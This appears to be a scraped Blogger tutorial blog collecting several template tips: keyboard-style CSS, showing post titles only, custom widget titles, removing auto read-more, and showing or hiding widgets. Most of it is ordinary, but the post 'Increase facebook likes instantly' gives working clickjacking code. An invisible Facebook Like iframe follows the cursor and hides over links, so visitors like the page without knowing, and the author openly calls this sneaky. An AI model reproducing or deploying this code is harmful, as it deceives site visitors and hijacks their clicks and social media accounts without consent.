Keyboard effect on blogger post

A blog design is very important, if you have a beautiful template and unique designs, then your blog post should be beautiful too. Today I will share to you how to make a keyboard effect on your blog post. This is CSS consist of no image and will not affect your blog speed. Lets begin the tutorial shall we.

Lets view the Demo first:


ALT + F4 

CTRL + ALT + DELETE

KEYBOARD


Installation

1. Go to blogger dashboard > layout > edit HTML.

2. Find this code using CTRL + F   ]]></b:skin>

3. Paste the code below above it

/***************************************** Keyboard Style CSS ******************************************/ kbd{ border:1px solid gray; font-size:1.2em; box-shadow:1px 0 1px 0 #eee, 0 2px 0 2px #ccc, 0 2px 0 3px #444; -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; margin:2px 3px; padding:1px 5px; }

 4. Save template!


Using it on blogger post

If you want to use it on your blog posts just follow these simple steps.

• Go to your blog posts, you can either create new or edit existing posts.
• Click HTML besides the compose button.
• Use the <kbd> </kbd> tag when you want to use the keyboard effect.

Example:

<kbd> I LIKE YOU </h2>

         I LIKE YOU


That's it! I hope you enjoy this trick! thank you for reading!

Read More

Display post title only on blogger

If you have a lot of posts in your blog then maybe its time to reorganize them by using display post title on blogger labels or on homepage. This trick will only show title post of your blog and will save time for visitors browsing your articles.

Instruction for this trick is easy, just follow the instructions below and make sure you backed up your template before proceeding.

Display post title only on blogger label

1. Log in to your blogger account > go to layout > edit HTML > click expand widget

2. Search this code using CTRL+F <b:include data='post' name='post'/> and replace it with the following codes below

 <!-- Display post title only Start-->
<b:if cond='data:blog.homepageUrl
!= data:blog.url'>
<b:if cond='data:blog.pageType != "item"'>
<h3 class='post-title'><a expr:href='data:post.url'><data:post.title/></a></h3>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<!-- Display post title only End http://fromhobby2money.blogspot.com -->

3. Preview your template to check if there is no error then click SAVE.

Display post title only on blogger home page

If you want this trick to appear on your home page just follow the instructions below. I found this to be useful if you are planning to put more than 10 posts on your home page so that visitors can easily see the whole view of your current posts.

1. Go to your blog layout > edit HTML >click on expand widget

2. Find this code using CTRL+F <p><data:post.body/></p> and replace it with the codes below.

 <b:if cond='data:blog.pageType == "item"'>
<p><data:post.body/></p>
</b:if

If you want to use this trick on your blog archives only just follow the steps above, but instead use this code to replace it.

<b:if cond='data:blog.pageType == "index"'>
<p><data:post.body/></p>
</b:if>

Note-If you are using read more hack in your blogger you will get above red line twice. So replace only the line that appears first in your blog html code and leave second one as it is.

There you go! if you have questions kindly leave a comment below of this post.

Read More

Increase facebook likes instantly

Do you have a problem increasing your facebook likes?, then do not worry if you have low facebook likes it doesn't mean your blog site sucks, some people are just lazy clicking the like button even though they like your site. And because of that I will share to you a sneaky trick to let your visitors like your site instantly.

But before that I will show you something, a funny yet true illustrations about why some people get so many likes and some don't.

As you can see on the left and right, those girls with weird eyes wears a different outfit. On the right has many likes, friend request and notifications on the other, has only one notification.

In my observation 90% of those who like on the right side are male, because men love bikinis and those on the right... well she probably just receive a game invitation request.

This happened to me many times, I posted a joke and only 1 person liked it, then a girl friend of mine who is actually hot shared it, she got more than a 100 likes, 30+ friend request and a lot of comment. If I am some hot chick wearing short skirt wearing kinky dresses in my blog post author biography and blogging the same topic, then I would probably have tons of likes and comments. 

Anyway, lets go back to the main topic. Now I will share to you the sneaky trick to increase your facebook likes instantly. It is sneaky because when you install this trick, it lets your visitors like your site wherever they click on your blog. The reason for that is there is an invisible click button that follow your mouse cursor.

Installation

1. As usual go to your blogger template

2. Edit HTML and click on expand widget. Make sure your backed up your template in case you made some mistakes editing.

3. Search for this code using CTRL+F </head> and paste the below script above it.

 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>

 4. Now search for the </body> tag and paste the code below above it.

 <div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>

5.  Just replace Fanpage URL Link with your own facebook fan page URL address. Then hit SAVE template. Refresh your page and you will notice something different about your mouse cursor.


NOTE: this trick will affect your blog when selecting or highlighting text, you cannot copy or paste a text or word if you apply this trick. And also it might affect your blog widget acting weird but if there is no problem you can proceed.

+Kshitij Wagle 

Read More

Customize your blogger widget title

Good day people of planet earth! During this past week I made some changes in some of my blog and I notice a blogger widget title doesn't seem to fit on my designs, that is why I usually leave it blank.

But now we can edit those widgets, by using its unique widget ID, this trick will allow you to change the color background, font color, size and even the font style of your widget title.

The steps are simple just follow the instructions and you can see good results on your blogger template. I will share how to find the the unique blogger widget ID and how to use it to style your blogger title widget.

Here is how

Before we customize our sidebar, let us first look for the ID name of your widget.

Find unique widget ID

1. Log into your blogger.com account select a blog of your choice then preview your blog. You will see a wrench icon on your blog or the blogger edit key just like this one

2. Point your mouse cursor on that image and use right click, then click on copy link address and paste it on a notepad, because we will use them later.

This is a sample on one of my widget, the link address usually look like this

http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=HTML&widgetId=HTML16&action=editWidget&sectionId=sidebar

HTML16 is the unique widget ID so keep that in mind. HTML/ Javascripts ID are usually named HTML1, HTML2, and so on. These ID's are sensitive so use them as they are.

Customize your title widget

Now lets go customize your widget and make sure your backed up your template before proceeding in case you made some mistakes.

1. Lets use an example, I will use my "popular post" widget. Its link address will look like this one.


http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=PopularPosts&widgetId=PopularPosts1&action=editWidget&sectionId=sidebar


2.  Open your blog template > edit HTML > use CTRL+F and look for this code ]]></b:skin> and copy the code below and paste the copied code above ]]></b:skin>.

#ID h2{
background:#575656;
margin:10px 0 10px 0;
padding:8px 0 8px 10px;
font-size:12px;
font-family: Sans-serif, Arial, Helvetica;
font-weight:bold;
text-transform:uppercase;
color:#ffffff; text-shadow:0 1px 0 #fff;
}

CUSTOMIZE

• Replace "ID" with your very own widget ID, based on our sample it will be replaced by PopularPosts1.
• #575656 is the background color, you can change them to any color you want using this color code generator. 
• 12 is the default font size but you can change them to any size you want.
• #ffffff is the font color, change them to any color using the color code generator.

3. Hit SAVE and you are all done!

Just repeat the steps for the rest of your widget its very simple most of the time you just copy and paste. 

I hope you liked it, don't forget to share! 

Cheers!

+Kshitij Wagle 

Read More

Remove Blogger/Blogspot Auto Read More

Most of my blogs has changed template for more than at least 5 times, the reason is I am having problems with blogger.com's flexibility so I keep looking and switching themes. When I found a great template I always encounter problems with its static page, if you click the page you will see it looks like a post but you can't see it as a whole page.

I have looked for tips on removing automatic jumpbreak but some of them doesn't work. And I keep on looking until I found this one that actually worked and I used it for my other blog which has problems with its static page.

Now I am going to share it to you guys. If you have the same problem with your template just follow the simple instructions below.

Steps on removing auto read more 

1. Go to your blogger dashboard and click on template > edit HTML > click expand widgets

Find this code on the template:

 <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
<b:if cond='data:blog.pageType != &quot;item&quot;'>
<div expr:id='&quot;summary&quot; + data:post.id'><data:post.body/></div>
<script type='text/javascript'>createSummaryAndThumb(&quot;summary<data:post.id/>&quot;);</script>
<div class='readmorecontent'><a class='readmore' expr:href='data:post.url'><b>Read more &#187;</b></a></div>
</b:if>
</b:if>
<b:if cond='data:blog.pageType == &quot;item&quot;'><data:post.body/></b:if>
<b:if cond='data:blog.pageType == &quot;static_page&quot;'><data:post.body/></b:if>

Note: Some of the code might be different according to your blogger template but you can find it easily. 

Also read:
How to show/hide text on blogger post

2. Replace the above code with the code below

 <data:post.body/>

If you can see the "read more" on static page, then search for this code and remove it

 <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
<b:if cond='data:blog.pageType != &quot;item&quot;'>
<div class='readmore-wrap'> <a class='readmore' expr:href='data:post.url'>Read More</a>
</div>
</b:if>
</b:if>

Note: And again some codes may not look like exactly as shown above but they look almost the same so you won't have a hard time identifying them.

3. Save template


Did I miss something? Let me read your thoughts +Kshitij Wagle 

Read More

How to Show and Hide Blogger Widgets

Do you have problem hiding or showing your widget on your blog? fear no more because today I will share to you blogging tricks on how to show and hide blogger widgets.

The importance of controlling your widgets is, there are plug ins that are meant to be shown only on homepages, or only on post pages. Through widget control. you create flexibility on your blog and balances each widget and maximize its functions.

In blogger platform, installing a widget usually uses the "HTML/layout" function on layout. In order to control widget display we just enclose some codes on the widget.

If you want to show and hide your widgets, just follow these simple tricks:



Since we use the "add gadget" on installing widgets, we need to search first where it is on your blog template.

How to control widget display

Before we proceed make sure you backed up your template in case you mess things up.

1. Log in to your dashboard.

2. Go to template> click edit HTML > and click on expand widget templates

3. Then look for a code similar to this one

<b:widget id='HTML' locked='false' title='WIDGET-TITLE-HERE' type='Profile'>
<b:includable id='main'>

WIDGET CODE HERE

</b:includable>
</b:widget>

If you use a blank name on your widget, try renaming it that has no similarity then go back to edit HTML and use ctrl + F to search for that widget title. After you searched for it you can rename it back to blank.

How to show widgets only on homepage?

<b:if cond='data:blog.url == data:blog.homepageUrl'>

WIDGET CODE HERE

</b:if>

How to hide widgets on homepage?

<b:if cond='data:blog.pageType == "item"'>

WIDGET CODE GOES HERE

</b:if>

How to show widgets only on static page?

<b:if cond='data:blog.pageType == "static_page"'>

WIDGET CODE GOES HERE

</b:if>

How to hide widgets on static pages?

<b:if cond='data:blog.pageType != "static_page"'>

WIDGET CODE GOES HERE

</b:if>

How to show a widget on selected post only?

<b:if cond='data:blog.url == "URL OF Selected Post"'>

WIDGET CODE GOES HERE

</b:if>

How to hide widget on selected post only?

<b:if cond='data:blog.url != "URL OF Selected Post"'>

WIDGET CODE GOES HERE

</b:if>

Note: Once you find your widget just select which code you will use to hide or show widgets. 

For example you want to show widgets only on home pages, use this

<b:widget id='HTML' locked='false' title='WIDGET-TITLE-HERE' type='Profile'>
<b:includable id='main'>

<b:if cond='data:blog.url == data:blog.homepageUrl'>


WIDGET CODE HERE

</b:if> 

</b:includable>
</b:widget>

Do you like it? got some problems? let me read your thoughts

Read More